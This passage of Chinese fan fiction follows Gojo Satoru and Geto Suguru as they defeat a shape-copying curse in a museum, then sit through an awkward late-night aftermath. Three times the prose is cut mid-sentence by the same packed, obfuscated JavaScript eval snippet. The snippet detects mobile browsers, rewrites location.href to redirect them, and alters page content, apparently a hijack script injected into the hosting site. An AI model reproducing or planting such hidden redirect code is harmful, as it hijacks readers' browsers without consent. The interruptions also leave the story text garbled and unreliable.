不过正因藤原先生的位置隐隐显出一种人质的意思，所以夏油杰不好轻举妄动……但在临场发挥这件事上，夏油杰一向有着非常充足的经验。 他迈开脚步缓缓向伪人咒灵的方向走去，嘴上还说：“我其实也不那么想怀疑，可之前已经遇到过好几次假扮的情况了。那么，就问一个只有悟和我才知道的问题吧。” “没问题，放马过来吧！”伪人咒灵很自信，那股得意洋洋的劲倒是和五条悟一样一样的。 夏油杰突兀开口：“悟有打算和别人吃双人限定甜品吗？” 这件事是今天早上才提出来的……夏油杰稍微有点在意，好吧，他超在意！ 既然咒灵的扮演是利用展馆来获取他们的记忆学习模仿，那会不会真能给出本人虽然也会回答，但却没有直接问本人那样的尴尬的答案呢？ 虽然五条悟一直让他要记得张嘴说话，但已然坦然接受自己有点太容易尴尬的夏油杰选择去问咒灵。 也不知道是它的学习速度太慢，还是读取记忆的程度还没录入到今天早上，伪人咒灵陷入了漫长的思考，当夏油杰若无其事地靠近它时，它才刚要给出回答。 “没——” 夏油杰已经劈掌打了过去。 这只伪人咒灵的身体强度相当脆弱，只模仿着五条悟的招式勉强接了几招后，就被打成了一团混合了五条悟咒力的混合咒力——另一部分应该是由咒灵本体留下的。 “……可恶，也不是本体啊。”夏油杰有点失望。 本体恐怕还得是刚刚那只白色的人偶模型。 咒灵的回答，他只听了一半，但夏油杰此人实在有够不讲道理，心中轻蔑一笑便想：看来为了模仿人类，本就处于道德低谷的咒灵也不得不进修了更多恶习，居然会为了让人不感到失望撒谎。 解决掉这只伪人咒灵的分身之一，夏油杰前去查看藤原的状况。 虽然刚刚他殴打咒灵的动静有点大，但昏迷的藤原前辈却被保护得尤其好——大概是先前一直被困在展馆中，对时间的感知不那么明显，故而被来营救的夏油杰提醒后，现在睡得格外安详，天崩地裂都叫不醒。 还好夏油杰对随身携带拖油瓶没有意见，正准备带着藤原先生向下一个展区，却突然听见“轰隆”一声巨响。 ——A展区的天花板塌了！ 夏油杰反应迅速，在碎石落下来之前，就立刻将那些倒霉的展品用咒灵保护了起来。 这一刻，夏油杰脑中猛然闪过“独一无二的艺术造诣”、“人类艺术史上的璀璨明珠”等等诸如此类为此展馆内艺术品修饰的词句。 来不及庆幸自己没成为破坏人类瑰宝的千古罪人，夏油杰便看见大厅中央的烟尘散去后，两个五条悟一左一右面无表情地对峙着。 见到楼下满脸懵逼的夏油杰时，那两个家伙几乎同时转头，甚至语气也一模一样地说：“杰，老子给你送咒灵玉来了！快点干掉他！” 夏油杰：“……” 诶？ …… 五条悟非常不爽。 大概二十分钟前，他再次撞上了又被另一个坏蛋男高给出的神经设定冲击得慌不择路的咒灵本体。 与先前不同的是，这家伙并没有再选择扮成夏油杰来骗他，而是直接选择了以他的模样出现。 伪人咒灵占了他进入展馆以来就一直开着无下限的便宜，从他这里摸走了许多咒力残秽并回收利用，再也不是那个只能靠近距离偷袭才能取得优势的废物——它，现在大概是60%五条悟，水平大概和五条悟七八岁的时候差不多。 它彻底将化形的目标锁定在五 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15223863|164953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条悟身上后，除掉正主几乎就成了刻在本能里的东西。 刚一照面，咒灵就是一发“苍”轰到了五条悟脸上。 然而这对五条悟构不成任何威胁，轻轻松松就拦下了这一招。 第一次被自己的招式打的他还饶有兴致地想，如果五条家的老头知道了这么只连六眼都能一比一仿制出来的咒灵，会不会欣喜若狂地抱着列祖列宗牌位大呼祖宗保佑啊？ 伪人咒灵见一击不成，立刻转身就跑——逃跑是它最擅长的事，整个灵滑不溜丢的，它有些智力，隐隐知晓咒术师们受制于不能随便破坏展馆内展品，仗着对展馆的熟悉冲得飞快。 五条悟虽然不会被它甩掉，但既要考虑不知什么时候就会扑出来的被诅咒污染的艺术品，又得时刻跟紧防止它利用咒物再次变幻空间释放传送，久违地体会了被溜的感觉，心情当然好不到哪里去。 只是现在他觉得还没到“迫不得已”的时刻，为了让轮到他交的任务报告稍微好看一点，尽管咒灵的小心思昭然若揭，五条悟也不准备立刻就掀桌子完全破坏场地。 又追了伪人咒灵好一会儿，确认对方实在给不出其他的惊喜后，五条悟不打算继续和它浪费时间，只是刚要用正牌的“苍”把咒灵轰成渣时，六眼却率先捕捉到了楼下属于夏油杰的咒力。 咒灵操术调伏的咒灵与主人的咒力并不相同，夏油杰释放咒灵只会留下几丝自己的残秽，所以尚在逃跑的伪人咒灵才不能完全伪装成夏油杰——咒力总量永远都是最显著的破绽。 虽然这恐怕只是六眼才能注意到的问题，但已经足够证明，楼下那位一定就是真的夏油杰。 本来还在可惜杰恐怕拿不到这只咒灵了，这不就送上门来了吗？ 于是五条悟立刻调转枪头，原本要轰咒灵的“苍”对准了地板，倒霉的伪人咒灵当然没能幸免于难，和他一起掉到了下层。 结果，这只咒灵似乎在体验恐怖五条大人追逐战时被激发出了些潜力，居然立刻领悟了此刻该如何在临死前给五条悟找最大的麻烦。 和咒灵做出了同样的反应后，五条悟忍不住多瞟了一眼夏油杰的方向。 就算是他也不得不承认，这只咒灵确实装得挺像的，不管是咒力还是外形都挑不出错处来。如果夏油杰认错了的话，五条悟觉得好像原谅也没—— 好似一阵风过，五条悟转眼的功夫，任劳任怨的劳模裂口女已经抄着剪刀冲向了对面的冒牌货。 夏油杰紧随其后，各路咒灵像雨后春笋似的咕嘟咕嘟往外冒，纷纷对着那伪人咒灵扑了上去。 自己也准备上手攻击的夏油杰路过挚友旁边，似乎是惊异于对方怎么反应慢了好几拍，暂缓了脚步问：“悟，发什么呆？藤原前辈受了伤，我们得快点解决这家伙，带藤原前辈出去治疗。” 五条悟嗫嚅道：“……什么啊？连犹豫都没有，杰就不怕认错人了吗？” 夏油杰莫名地瞥了他一眼，反问道：“说什么奇怪的话呢？是悟的话，怎么可能认不出来？” 此刻战况紧急，夏油杰对调伏伪人咒灵有极高的热情，五条悟这副不在状态的样子，他只能暂且先当这家伙没大睡醒，精神不好，回答完之后就决定先自己去解决问题了。 某怪力猩猩式神使毫不犹豫地加入了自己的咒灵围殴敌人的战场，以冷硬的姿态坚决否定了冒牌货的身份，神采飞扬地“啵”的一声残忍地拔下咒灵的头时—— 砰、砰。 五条悟听到了自己的心跳声。 21.第 21 章 伪人咒灵的优势区间在于，常人很难一下分辨出它与正主的不同之处在哪，而获得了这样疑惑、恐惧的情感之后，它的变化又会更加逼真，甚至能够让它最后真的能做到神不知鬼不觉地替代被变化者。 把同伴分开逐个击破的策略在上一对进来的咒术师搭档中取得了非常显著的效果，于是伪人咒灵这次也故技重施……谁知道遇见了两个根本不看伪装，直接靠直觉靠灵魂感应来认人的神秘高中生。 咒灵也不明白，这两个从读取到的记忆中仅仅只认识了几个月的少年究竟哪里来的如此深的羁绊—— 随随便便对它进行否定才无法做到直接揭穿它的伪装，只是无论五条悟还是夏油杰，先前判断出现在面前的搭档为假时的心情都是十分笃定的，这才显得伪人咒灵非常废物。 伪人咒灵的心情非常苦涩，仿佛从今往后的咒灵生都变得无比暗淡，给两个情比金坚的人类带给它的打击太大了，让它连反抗都无法过多进行，绝望地被对方强烈的自信卸下了所有伪装…… 可惜现在没人为它发声，只有试图卡它脖子，结果真的把脑袋拔下来了的夏油杰发出了疑惑的声音。 夏油杰抱着手里的假人脑袋，又看向被一剪刀叉在地上的假人身体，视线来回移动好几次，才不可置信道：“……这么弱？” 他可是差点就把除了虹龙这样的大体型之外的咒灵全掏出来了诶，本以为是一场酣畅淋漓的群殴，结果……就这？ 夏油杰的心情变得非常复杂，又看了看手里这颗无助的脑袋，还是决定不虐待俘虏了，刚准备给伪人咒灵一个痛快，可五条悟又不乐意了。 五条悟才把忽的乱七八糟跳起来的心脏安抚到正常频率，抬头便看见夏油杰抱着假人脑袋满脸无奈，也不知道怎么了，他一时间怒不可遏，冲上来便毫不留情地给了被叉在地上的身体一脚，“让你学老子！” 夏油杰很没诚意地劝道：“好了悟，不要真的祓除掉了。我还要调伏来玩玩的。” 笑死，能够伪装成人类，甚至连咒力残秽都可以复制一样的，还有分身的能力，只是不知道具体究竟有些什么限制……如果不考虑战力的话，以后想翘课不是轻轻松松吗？ 五条悟：“……” 他平常对挚友想要调伏的咒灵都会留一口气，偏偏这时候看着这只差点影响了他们情谊的伪人咒灵非常不满，听到对方的劝阻更感觉心乱如麻，视线游离好一会儿，才闷闷地憋出来一句：“杰不要这个咒灵了，好不好？” 夏油杰有点意外地看过去，“为什么？不是悟之前说来给我送咒灵的吗？” 他还以为五条悟也能想到翘课神器的用法呢……不过临时变卦是什么情况？ 五条悟也想不出所以然来，只能胡搅蛮缠道：“因为、因为……老子不喜欢它！太可恶了吧，突然好讨厌这家伙……总之，老子不要再看到它了！” 小孩子的危机感？夏油杰勉强能理解，但嘴上冷酷道：“好吧，以后会记得不在悟面前召唤它的。我们现在去找咒物，然后离开……” 伪人咒灵被他捏成了咒灵玉，一面看起来有点古旧模糊的小镜子也掉了出来，吧嗒一下掉在地上摔了个稀巴烂，甚至比普通的镜子还要脆弱得多。 随着镜子碎裂，几人又感到一阵熟悉的天旋地转，眨眼之间便又回到了展馆的大厅位置。令人惊讶的是，竹村的尸体也被传送了回来。 夏油杰才只来得及远远地瞟一眼，便听五条悟哼道：“不用找了，碎掉了。” 夏油杰：“……” 一直都被教授咒物要经过特殊处理的夏油杰发出尖叫：“不是说咒物没那么容易坏吗？！” 五条悟一点都不顺心，抱着手臂气鼓鼓道：“老子不是都说了让杰不要这只咒灵了吗？好了，这只咒灵把咒物上的力量吸收得差不多，现在咒灵又被抽走了，咒物掉出来当然就会坏掉啊！” 咒灵和咒物完全融为一体了，其实他也是刚刚才分辨出来的，但这正好给了他发难的机会，五条悟心头郁闷得很，更不可能具体解释了。 夏油杰不可置信，“那悟刚刚怎么不说清楚！” 既没拦他，给出的理由也仿佛小朋友被抢了玩具生闷气的意思，那他当然不会就因为五条悟不愿意就不调伏咒灵啊！ 五条悟磨了磨牙，“都怪杰没有无条件相信老子！” 其实根本不是这种原因。 五条悟感觉自己好像变成了两半，一半在嘴硬着把锅往夏油杰头上推；另一半却很冷静地问，你在无理取闹什么？ 虽然没了咒物和场地优势，这只给他们带来了些困扰的咒灵实力肯定会大打折扣，但咒灵操术重在积累，就算是蚊子腿也总会有它的用处，他根本没有理由阻止夏油杰。 是这样，对吧？难道真是没睡好引起的情绪紊乱吗？五条悟的心情变得愈发沉寂了。 他觉得自己好像变得有点奇怪。 先前被挚友的话搞得有些心率紊乱，平静下来后却蓦地沉重起来，还有点想对夏油杰生气。 鬼知道这种莫名其妙的愤怒是从哪里来的，五条悟很不高兴，甚至都可以说得上悲伤了。 夏油杰：“……” 这家伙现在真是越来越无理取闹了，天天在手机上给别人随叫随到，有脾气全对着他发！ 夏油杰把咒灵玉暂时收了起来，越想越气，一阵无名火起，“你——” “嘶……”有些痛苦的抽气声打断了两人的争吵，气晕过去的藤原似乎要醒了。 被这声音提醒到这是救援任务途中的夏油杰顿时哑火，眼皮耷拉下来很隐晦地翻了个白眼，顺利说服自己不要和天天吃瘪的恋爱脑计较，转移话题道：“算了，先把两位前辈送去治疗……” 五条悟：“竹村不用治，已经死了。” 夏油杰：“哈？” 他几步跑到竹村身边，检查了一下对方的生命体征，才不得不承认五条悟说的是真的。 就结果来看，此次救援任务完成得非常糟糕。不仅咒物没有完好无损地带回去，而且需要救援的两人已经牺牲了一个。 藤原刚刚苏醒就听见如此爆炸性的消息，连腹部的伤口的顾不上了，猛地翻起来颤颤巍巍地确认了一遍，“什么？竹村他……” 五条悟冷静得几乎有点无情了，打断道：“死掉了。现在不是震惊的时候吧，你伤口不痛吗？躺回去，我们会带你去找硝子的。” 藤原：“……” 可怜的前辈一时难以分清自己究竟是否身处梦中，眼睛一翻，“嘎”的一声又晕了过去，把刚才还有些剑拔弩张的气氛瞬间打散了。 夏油杰：“……” 这个场景其实有点好笑，但他的道德和良知已然苏醒过来左右开弓啪啪给了他两巴掌。 夏油杰深呼吸了一口气，沉重道：“喂，悟，这种话过段时间再告诉前辈比较好……” 虽然已经是咒术师了，大多数人也都不避讳谈论死亡，但……才死里逃生，就得知同伴牺牲的消息，对一个幸存者来说还是太痛苦了。 一般而言，最痛苦的都是那些活下来的人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15232413|164953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 五条悟歪了歪头，发自内心地疑惑道：“老子还以为大家都做好准备了。任务当中牺牲掉也很正常吧？咒术师本来就不是安全的工作。” “话是这么说啦……”夏油杰有点头疼，有些道理大家都懂，但也不能直接讲出来，他思考着解释道，“就算如此，也要换个更合适的场合。毕竟也不是每个人都能在这种情况下接受朋友的牺牲的。” 五条悟撇撇嘴，迈开腿便往外走去，一边走还一边大叫道：“照顾弱者好麻烦——” 夏油杰难得在挚友身上感到了一种想要把这篇翻过去的急切感。 倒也不是真的对竹村的死亡毫不关心，只是这家伙根本不想再聊这件事，五条悟展现出了史无前例的逃避心理。 但五条悟已经走人了，夏油杰只能沉默地指挥咒灵将藤原和竹村搬出去。 “帐”被五条悟打破，露出外界漆黑一片的天幕，时间已经很晚了。尽管他们两人并没觉得在展馆内耗费了多久，但现在的情况似乎…… 一直在外留守的辅助监督看到他们的瞬间就扑了上来，他原本的目标是走在前面的五条悟，但看见白发少年那张臭脸后便及时刹住了脚步，转向了夏油杰。 “夏油同学，你们没事真是太好了……”辅助监督几乎要感动哭了，“你们又失联了快一天，我还以为这个展馆真会吃人——藤、藤原和竹村？！他们两个怎么了？！” 夏油杰倒豆子似的说任务情况：“藤原前辈受了伤，竹村前辈……牺牲了。咒物坏了，里面有一些展品受到了诅咒的影响，需要带回高专净化，展馆内部也遭到了一些不可避免的破坏……” 辅助监督：“……” 出现伤亡和财产损失是意料之中的事，辅助监督没有多说什么，向他交代过自己接下来要处理善后事宜，只能让高中生们自己想办法回高专后便急匆匆地到一边打电话去了。 五条悟没走远，一大团蹲在路边看手机。虽然实际的时间过去了一天，但他在展馆内也没用手机，电量还尚有余裕。 他失联的一天多，夏油先生只在再早一些的时候发了两条短讯过来。 A：【悟突然浮起来了，但他好像不会降落……】 第二条短讯隔了十几分钟。 A：【没事了，他掉下来了。】 五条悟：“……” 真丢人啊，那家伙。 他这边还被莫名的情绪困扰着，看见这种消息也是无语得有点想笑。 搞笑艺人还真是用心创造快乐。 五条悟有点不知道说什么，手指在按键上摩挲了片刻，一杯热腾腾的关东煮突然递到了他面前。 他一言不发地接过了，端着另一杯的夏油杰默不作声地在他身边也蹲了下来。 刚刚在展馆里的时候没感觉，出来之后就饿了，夏油杰默默走进不远处的24h便利店觅食，还给五条悟带了一份。 闻起来倒是挺香的，但五条悟叹了口气说：“老子不想吃。” 夏油杰瞥了他一眼，嘴里还嚼着自己的份，伸出另一只手。 不吃他吃。 什么反应！五条悟眼睛瞪得圆溜溜，难以置信地说：“倒是劝劝老子啊！” 夏油杰指了指自己的脸，刚塞进嘴里的白萝卜把他脸颊顶出来了一个柔软的弧度——忙着吃东西呢，才没空管你的少年心事。 五条悟：“……” 烦死了！没看见人家在气头上吗？坏蛋！杰是坏蛋！！ 五条悟放下手机，气鼓鼓地攻击起海带结来。 22.第 22 章 两个笨蛋男高就这么莫名其妙地蹲在路边吃起了关东煮。 “窗”的善后人员来得很快，他们俩又没走得太远，五条悟这头白发过于有辨识度，以至于每个人走过都要看一眼这两位深夜蹲在路边吃东西的准一级术师，并在心中给出了一致的评判——不是很聪明。 传说中能止小儿夜啼的六眼似乎也没那么恐怖，如此接地气地和同学蹲在路边吃小吃，看着甚至有几分纯良。 只是转念一想，此二人刚从任务现场出来，搬过尸体又能立刻吃饭，心理承受力真是高得恐怖……善后人员腹诽着工作去了。 等到他们终于以一个饿得有点超脱了的状态进食完毕后，五条悟忽的长叹了一口气说：“其实老子还是有点饿。” 毕竟他们可是只吃了一个面包就跑来做救援任务了，又在展馆里拖延了好长时间，真让两个大小伙子放开吃的话，恐怕两头牛都打不住。 不过比起只消退了一些的饥饿感，先前那种奇异的悲伤和愤怒已经完全走远了，仿佛从未存在过似的。 五条悟忍不住又看了一眼被自己放在脚边的手机。 从夏油先生的描述中，那个白毛倒霉蛋继六眼之后，又解锁了自己不太会控制的无下限术式…… 所以，是导致几个世界建立起莫名其妙联系的传输效果增强了？ 难道他刚刚想要无理取闹的心情也是这样来的？真是的，某个白毛笨蛋能不能哭那么大声啊？会影响到别人的耶！ 五条悟不太确定，又悄咪咪地看了一眼夏油杰，却发现对方也在看着他，神情还非常专注，感觉比听夜蛾正道讲课的时候还认真。 他似乎觉得自己好不容易平静下去的心脏又疯狂地跳动了起来——肯定有什么五条大人还不太了解的事情发生了。 然而，这件事涉及到了他唯一的挚友，五条悟暂且就不想轻举妄动了。 自从联系上夏油先生之后，他好像也变得有点不对劲起来！难道有什么眯眯眼怪刘海病毒能顺着短讯传染吗？要不、要不等回学校之后，找硝子再填一份调查问卷吧？ 不受控制的心跳砰砰作响到让本人有点恼羞成怒，五条悟眼神闪烁，颇有些不自在地说：“……杰干嘛这样看着老子？” 夏油杰故作疑惑地歪了歪脑袋，随即笑眯眯地揶揄道：“在看饿得发脾气都不自知的笨蛋。悟稍微吃饱了一点，心情就没那么差了哦。” 才不是那种原因！明明就是有丢脸的坏人偷偷陷害他了！五条悟果断地把锅往某不知情同位体脑袋上扣，却仍然被夏油杰讲得有些胸闷气短、呼吸不畅。 莫名受了委屈的五条大人当即便蓄力要跟什么都不懂的笨蛋挚友battle，只是他才将视线聚焦到挚友脸上，就让对方那张笑得很狡黠的骗子脸晃了眼睛—— 夏油杰的眉眼都细细长长的，笑起来眼睛眯成一条缝，完全就是已然预备好使坏的坏蛋狐狸一只，保不齐心里想着什么整人的坏主意。 可即便如此，五条悟也还是有点挪不开眼睛，并不得不在心里勉强承认，挚友不仅仅是有几分姿色的程度。 或许是周围的气温太高，又或者是“敌方”的手段过于超规格，五条大人如精密仪器般的大脑在持续的异常升温影响下，终于不出所料的死了机。 五条悟：“……” 吵起架向来妙语连珠未尝败绩的五条悟张了张嘴，还是什么都没能说出来，略显羞赧地别开了脑袋。 夏油杰还在絮絮叨叨地安抚他，“夏天就是这样的，我原来在家的时候也不喜欢夏天，能很明显地感受到附近的咒灵变得更多了。不过意外情况应该不会特别多，以后我会记得随身带一些小零食的，悟今天也辛苦了……” 他嘀嘀咕咕地念叨了半天，五条悟提过之后，他便移开视线，只盯着近旁的柏油马路，结果却忽的发现周围有点太安静了，除了他的小声叨叨之外没有其他声响。 ——全世界最喜欢和他凑在一起讲小话的家伙竟然到这里都没讲几句话。 夏油杰再扭头一看，发现五条悟已经以一种回避的姿态别开了脑袋，半捂着脸，只有通红通红的耳尖作为漏网之鱼露了出来。 五条悟今晚着实反常，明明看起来也没有受伤……夏油杰真心实意地疑惑道：“悟？怎么了？” 中暑了？还是咬牙扛着什么不太明显的伤？ 他说着，很自然地伸手试图去扒拉开五条悟的手。 谁知道，短暂的沉默后，白发少年忽的露出了万分惊恐的表情，猛地一下就蹿了起来，仿佛谁踩了他尾巴似的一蹦三尺远，带着自己尚未完全驯服的四肢手忙脚乱地就冲出去了。 他冲出去一大段距离后，夏油杰还保持着伸手的姿势，满脸茫然地低头，看向脚边五条悟没来得及一起拿走的手机。 五条悟也意识到了自己跟从直觉反应留下的一些小小纰漏，尴尬地顿了顿便又灰溜溜地回来捡起手机，和完全不明白自己做了什么的夏油杰对上了视线。 夏油杰：“……悟？” 五条悟找回自己的声带，勉强地解释道：“老子、老子去买点吃的啦，杰稍微等一下……老子很快就回来！” 他话音还在夜风中飘荡，人就已经又飞出去了，好似后面有巨大刘海狐狸在追。 夏油杰：“……” 被留在原地的黑发少年有些怔愣地看向自己的手—— 他难道，一不小心做了什么很越界的事吗？ …… 五条悟风一样地冲进了便利店。 上夜班的店员被他吓了一跳，抬头一看，来人是个人高马大的白毛非主流，手已然放到电话上准备按紧急呼叫键报警了。 五条悟瞥了一眼，没空理他，立在货架前立刻给夏油先生发消息，【看起来情况更严重了啊。他还有其他问题吗？】 对方如今被迫和搭档一起在家当家里蹲，就算现在时间有点不健康——五条悟瞟了一眼，凌晨四点——但夏油先生还是回得很快。 A：【不算特别严重，但确实有点小问题，悟现在不太能碰到别的东西……但让我帮忙的话就没有这种麻烦，真是的，我家的妹妹们都不需要帮忙洗漱了。】 五条悟：“……” 喂，那个混蛋干什么呢！这不是真的成了四体不勤的蠢货了吗？ 他对着伪人咒灵随口瞎编，都只敢说让杰好言好语地请他配合行动，这家伙怎么已经到这种地步啦？！ 夏油先生看起来也对这种情况稍显怀疑—— A：【虽然也有想过这家伙是不是在耍我，但看样子又不太像……算了，就当我在尽照 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15240540|164953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾搭档的职责吧。反正也只是些小事而已。】 ——但不多。 五条悟登时变得面目狰狞起来。 太坏了太坏了太坏了！ 准备立刻拿键盘去骂.jpg 异世界超级大坏猫毫不留情地开始给别人的家猫穿小鞋，【装的吧！无下限术式只要想关就能关掉了，那家伙怎么可能不会啊？果然就是故意在闹脾气吧？好差劲！已经享受到这种程度了还有什么好伤心的，都已经影响到老子了！】 A：【倒也不能这么说，悟看起来真的很困扰，我们这边毕竟没有超自然力量的使用经验，会出一些有点奇怪的问题也很正常……你那边发生了什么吗？】 真令人伤心，果然还是自己的搭档更亲。 夏油先生一点都没被影响到，第一时间就选择了维护自家搭档，原本还能勉强端平的一碗水哐当一下就倒五条悟头上了。 五条悟挑拨离间失败，撇撇嘴把自己今天被挚友惹得心神摇荡的事情原原本本的全发过去了。 他连发了三条，每条都达到了编辑字数的上限，充满了大坏猫恶猫先告状的个猫情绪—— 不仅要怪家狐不听猫话，还要飞去横锅扣在一只已经连自理都不太能做到了的身残志坚无辜白猫头上。 夏油先生阅读这三篇包含了不少专业术语的巨量文本花了一点时间，足够五条悟在店员防备且谨慎的眼神下扫荡一袋子饭团并付款等加热了。 白发少年提着一袋子饭团出门，听见兜里手机响起短讯提示音，还没拿出来看，先被站在门口的夏油杰吓了一跳。 敏锐的六眼很难说没有注意到门口的人，但很可惜，某个已经完全对这样的残香脱敏了的家伙直接将六眼的提示视若无物，毫不设防地走出门，结果就被默不作声的夏油杰吓到了，简直像是猫突然看见了身后的黄瓜一样惊讶。 夏油杰抱着手，若无其事地解释道：“悟买东西的时间太久了，我过来看看。悟怎么了？” 一副做了亏心事被抓到了的表情，呵呵……他差点就要以为自己真是来抓出轨的了，但要是真有那种事，也轮不到他吧。 “老子还以为杰不会过来呢。”五条悟只是呆了一小会儿，就自然而然地把手上的袋子递给他，随口抱怨道，“收银员动作太慢啦，好像老子没付钱似的。” 夏油杰展开袋子看了一眼，无奈道：“……悟买这么多，全吃完的话，晚上回去睡得着吗？” 也不能怪店员有点怀疑吧？上便利店进货还是太诡异了。 五条悟打了个哈欠，含含混混地说：“饿着肚子才睡不着呢。” 夏油杰：“……” 看起来像是人类最强烈的两种欲望开始交战了。 夏油杰默默拿出一个撕了包装递给五条悟，也没管此人又把手靠到他肩膀上来了，顺手就搓了搓毛茸茸的脑袋，说：“吃着吧，等会回去睡觉。” 五条悟嚼着饭团，默默试探着拿出了手机，夏油杰没有意见，甚至还很礼貌地别开了视线。 下一秒，五条悟成功被呛到了。 A：【……夏油同学看起来很正常啊，悟。】 A：【你、呃……算了。睡觉吧，睡醒再想。】 五条悟：“……” 五条悟：“？？？” 23.第 23 章 两人回到高专时，天已经蒙蒙亮了。夜蛾正道特批他俩今天在寝室睡觉的消息也发了过来。 五条悟都快困过去了，还是被夏油杰摁着洗漱完才上了床。 不知道为什么在这方面格外精神的优等生给他把窗帘拉得严严实实，确保一丝光都透不进来后才出门回自己寝室去。 五条悟本来睡意昏沉，却在听到夏油杰寝室那边关门落锁的“咔哒”一声后倏地惊醒了，眼睛瞪得跟铜铃似的看着天花板，上头由于历史悠久生出的皲裂纹路仿佛歪歪扭扭地变成了一行字—— 有问题的是你！ 五条悟：“……” 都无需仔细分辨，就能轻易地看出夏油先生是个偏心起来很不得了的人。 如果要直接骂他本人，他可能视情况作出不同反应，最不放在心上的处理方式就是转头就忘了，就算没忘，不真正踩到痛点，那家伙都能做出副一切尽在掌握中的样子，鬼知道到底是不是真的在掌握中。 但要是攻击到五条先生就不一样了。 不管那个笨蛋白毛到底做出了多离谱的事情，夏油先生都能找到接受的角度，并立即给出护短的反驳，完全就是一个“笨蛋白毛全肯定bot”。 五条悟当然也因此得到了相当多的偏爱，甚至连一开始被手机对面的犟种气到喵喵大叫直接咬人，都被轻飘飘地原谅了。对方心中“五条悟＞自己”的倾向已然足够明显。 然而，就是这样的夏油先生，竟然在百般思考之后都委婉地给出了“夏油同学很正常啊”的评价，隐约暗指五条悟才是心里有鬼的那个人。 回想过自己啪嗒啪嗒发出去的“证词”，仍然没觉得有什么问题的五条悟很气闷地翻了个身，在床上像毛毛虫似的扭来扭去好半天，越想越不服气。 他用自己绝顶聪明的大脑想了好一会儿，终究认为肯定是夏油先生和这个世界的夏油杰还不熟，就算看出问题了也不好直接评判。 五条悟当即便翻了起来，抱着自己的枕头去敲夏油杰的房门了。 问同位体不如问本人！ 他敲了半天，门都没开。再一看，里头咒力残秽隐隐绰绰的，夏油杰好像在寝室里套了一层小型的“帐”，不知道偷偷摸摸在干什么坏事，又是屏蔽咒力又是隔音的。 本来还想礼貌一点敲门进去的大少爷再吃了一记闭门羹，这才瘪着嘴回去拿钥匙。 夏油杰放的“帐”没那么多限制，貌似只是为了屏蔽陌生咒力防止在这个美丽的清晨触发高专警报，引来某些睡眠不足的咒术师们的讨伐。 五条悟开门就一头扎了进去，把在房间中央抱着一颗假人脑袋和假人身体乖巧对坐着的夏油杰吓了一跳。 “杰就这么喜欢它？”五条悟嫌恶地瞥了一眼早就不像先前那样张牙舞爪的咒灵，把枕头往夏油杰床上甩，同时一屁股坐到了夏油杰旁边，很难说不是故意地撞了人家一下。 这只咒灵几乎都给五条悟留下了点心理阴影了，他没忍心怪夏油杰，只能让咒灵全责。 夏油杰早有准备，没被撞倒，随即摇摇头立刻反驳道：“……不，怎么也谈不上喜欢杀害了术师前辈的咒灵吧。只是我刚刚调伏它之后发现了一点问题。” 他把假人脑袋抱起来给挚友看，颇有些迷茫地说：“它的脑袋，安不回去了……” 五条悟歪了歪头：“嗯？” 夏油杰慢吞吞地解释道：“好像是被捏成咒灵玉的瞬间对自己产生了非常强烈的怀疑情绪……变异了，也变菜了。” 伪人咒灵是托身于展馆内的雕塑展品诞生的，展馆的灯光偶尔会产生让人雕塑活动了的错觉，也不知道是谁的想象力那么丰富，迅速又联系到日本本地相当有名的二重身怪谈，人类的恐惧情绪溢出，就这样缓慢滋生出了这样一只咒灵。 它的术式可以靠汲取人类溢出的咒力假扮成那个人，不过需要相当长一段时间的转化，如果能得到他人的肯定，还能加快转化的速度，最终达到完全替代那个人的地步。至于它那些分身，却是靠那面被它偷走的镜子咒物创造出来的……但镜子已经碎掉了。 就算没了分身也还好，但另一个问题又来了——它的脑袋安不回去了！现在不管扮成谁都是一副身首异处的样子，比起做翘课助手，更适合在某些恐怖片里出现…… 夏油杰有点后悔，“早知道就不去拔它脑袋了。” 他还是第一次遇到这种情况呢！ 咒灵操术是太古老的术式了，高专的资料并不完全，当然也就没人告诉他，在祓除过程中拔掉咒灵脑袋会导致这种情况……到底是咒灵本身的问题，还是咒灵操术的问题？ 五条悟莫名地松了口气，立即鼓动道：“那不就没什么用了吗？看着就烦，干脆直接做掉好了。” 夏油杰无奈：“……来都来了。” 咒灵玉的恶心味道还在他口腔里挥之不去，他的每只咒灵都是自己辛辛苦苦吞下去的，又不到需要全员搏命的阶段，夏油杰也不能说做掉就做掉吧。 五条悟还蠢蠢欲动着，夏油杰很快就指挥咒灵回去，假人抱着它的脑袋退得飞快，没给五条悟一点机会。 乱七八糟的事情处理完，夏油杰虽然还有点恶心，但困意也涌上来了。 他扫了一眼被五条悟扔到床上的枕头，打了个哈欠含含混混地问：“悟今晚要在我这里睡？两个人睡一起很热诶。” 